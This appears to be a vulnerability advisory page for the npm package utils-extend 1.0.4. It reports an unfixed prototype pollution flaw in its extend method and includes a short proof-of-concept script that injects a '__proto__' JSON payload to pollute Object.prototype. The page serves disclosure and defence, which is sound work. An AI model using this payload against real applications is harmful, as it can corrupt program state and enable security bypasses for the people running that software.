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utils-extend@1.0.4 vulnerabilities

Extend nodejs util api, and it is light weight and simple

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Direct Vulnerabilities

Known vulnerabilities in the utils-extend package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

utils-extend is a package to extend nodejs util api.

Affected versions of this package are vulnerable to Prototype Pollution. The extend method within utils-extend can be tricked into adding or modifying properties of Object.prototype

PoC by Snyk


var util = require('utils-extend');
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
var source = {
  k: 'v',
  k2: []
};


var source2 = {
  k3: { }  
};
 
var result = util.extend(source, JSON.parse(malicious_payload), source2);
console.log({}.vulnerable);

How to fix Prototype Pollution?

There is no fixed version for utils-extend.

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